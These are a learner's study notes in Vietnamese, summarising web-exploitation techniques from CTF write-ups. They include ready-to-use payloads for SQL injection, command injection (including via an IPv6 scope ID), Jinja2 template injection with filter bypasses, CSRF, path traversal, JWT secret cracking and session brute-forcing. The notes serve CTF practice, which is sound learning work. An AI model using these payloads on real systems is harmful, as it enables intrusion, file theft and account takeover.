Học từ writeup của Winky (noob/beginner level)
Phiên bản học từ bài tập và học cụ thể các kỹ thuật (picoctf, dreamhack,...)
Xin cám ơn Winky aka Yuki Shiroi đã viết 1 blog tuyệt vời https://threalwinky.github.io/archives/
xem source luôn dùng dirsearch -u {url} nên dùng burpsuite catch all requests nên xem request/response trong dev tool tìm cookie, jwt,..
jwt key, ở phần secret đôi khi ko bị check nhưng nên tìm secret bằng hashcat và wordlist (rockyou.txt chẳng hạn) rồi dùng jwt.io gán lại (nên đổi thành admin)
sử dụng sqlite_version() để xem phiên bản sqlite => tìm payload ‘union select sqlite_version(), null, null— ví dụ bản 3.31.1 thì dùng payload sau xem sqlite_master() ‘union select name, sql, null from sqlite_master—
XML => nhớ đến lỗi XXE
đọc logic code (ví dụ thay ssid và username của admin là vào dc admin)
lỗi csrf cần có 127.0.0.1, tức là thông qua admin hoặc nội bộ mới vào được, ta có thể dùng
<img src='/admin/flag.txt'>
đọc hàm (vd def change_password) coi tham số nó lấy (vd pw) dùng 1 nơi nào đó có thể payload
<img src='change_password?`pw=123`'>
command injection điển hình
ping -c 3 {host}
payload host: 1.1.1.1 & cat etc/passwd
path traversal nên chạy burpsuite xem uri, ví dụ nếu là /read?name=123 tức là đang đọc file 123 (nếu mình được tạo với nội dung tùy ý thì logic server sẽ đưa ndung vào file, sau đó đọc tên file đó) => lùi về có thể đọc flag.py
dạng 2 là dạng ServerSide PT, phải do máy chủ web thực hiện (127.0.0.1 hoặc nội bộ). Nên ta cần input vào đâu đó để chèn ../flag.txt chẳng hạn
đọc thật kĩ code lần nữa về javascript có thể dùng console để automation, ví dụ:
for(let i=0;i\<9999;i++)('\#jack-target').click()
luôn nghĩ về mẹo, lách luật ví dụ bị filter từ flag => cat ../dream/fla*
dạng bruteforce và reverse ví dụ: dùng BS intruder để bruteforce giá trị có thể xảy ra
Xem qua code thì hình như session của admin là một bytes được chuyển sang hex `session_storage[os.urandom(1).hex()] = ‘admin’`
tạo 1 list input
for i in range(0xff+1):
data = bytes([i]).hex()
print(data)
vào BS intruder và input list đó vào sau đó filter FLAG{ sẽ ra flag
để ý các kiểu dữ liệu ví dụ ascii và số để ý dấu "
PHP
if($input_1 < "8" && $input_1 < "7.A" && $input_1 > "7.9")
=> 7.:
if($input_2 < 74 && $input_2 > "74")
=> 7a
thư viện ipaddress dùng check ipv4 và ipv6 có lỗi tùy ngữ cảnh bài
IPv4 yêu cầu prefix sau dấu / là số nguyên, nên khó chèn lệnh.
172.22.32.82/20
IPv6 cho phép scope_id sau dấu % chứa ký tự đặc biệt (mục đích ban đầu chứa interface như etho0 để kết nội mạng cục bộ), dễ bị lợi dụng để inject lệnh shell.
0000:0000:0000:0000:0000:0000:0000:0000%;cat<flag.txt
{{ 7*7 }} Mục tiêu của payload SSTI
In thông tin quan trọng: {{ config }}, {{ request }} Import module nguy hiểm: như os Thực thi lệnh: os.popen(“ls”).read() Bypass WAF: dùng __ → mã hóa x5f thành /x5f/x5f . có thể thành
Tìm object (self, request, config) Lấy được globals hoặc builtins Dùng import(‘os’) hoặc .popen(‘ls’) Vẽ sơ đồ luồng: từ request → application → globals → import → os → popen(…)
Tham khảo:
/%7B%7Bconfig.SECRET_KEY%7D%7D
/%7B%7Bself._TemplateReference__context.joiner.__init__.__globals__.os.popen('cat%20./flag.txt').read()%7D%7D
/%7B%7Brequest.application.__globals__.__builtins__.__import__('os').popen('cat%20./flag.txt').read()%7D%7D
/%7B%7Brequest%7Cattr('application')%7Cattr('/x5f/x5fglobals/x5f/x5f')%7Cattr('/x5f/x5fgetitem/x5f/x5f')('/x5f/x5fbuiltins/x5f/x5f')%7Cattr('/x5f/x5fgetitem/x5f/x5f')('/x5f/x5fimport/x5f/x5f')('os')%7Cattr('popen')('cat%20./flag.txt')%7Cattr('read')()%7D%7D
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
Một vài kỹ thuật url encoding:
dạng check path cơ bản nếu server check ngu %66lag.php
%2e = . → bypass filter .php
%2e%2e/ = ../ → bypass directory traversal filter
%uXXXX → Unicode encoding (ít gặp hơn, nhưng vẫn có)
csrf nghĩ về đổi password bằng cách ăn cấp csrf token (dạng cơ bản) và include vào param khi truy vấn tới /change_passwd
